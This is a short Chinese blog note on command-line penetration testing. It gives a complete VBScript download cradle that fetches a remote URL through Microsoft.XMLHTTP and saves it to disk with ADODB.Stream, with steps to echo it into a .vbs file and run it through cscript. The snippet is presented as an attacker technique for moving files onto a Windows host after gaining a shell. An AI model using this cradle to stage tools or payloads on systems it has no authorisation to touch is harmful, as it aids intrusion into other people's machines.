cmd 渗透.md
作者:互联网
cmd 渗透
目录下载文件
vbs
iLocal = LCase(WScript.Arguments(1))
iRemote = LCase(WScript.Arguments(0))
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET",iRemote,0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile iLocal,2
使用
echo ‘....’ > file.vbs
cscript file.vbs [url] [dest_file]
标签:md,xPost,渗透,WScript,cmd,sGet,vbs,file 来源: https://www.cnblogs.com/nsfoxer/p/14348031.html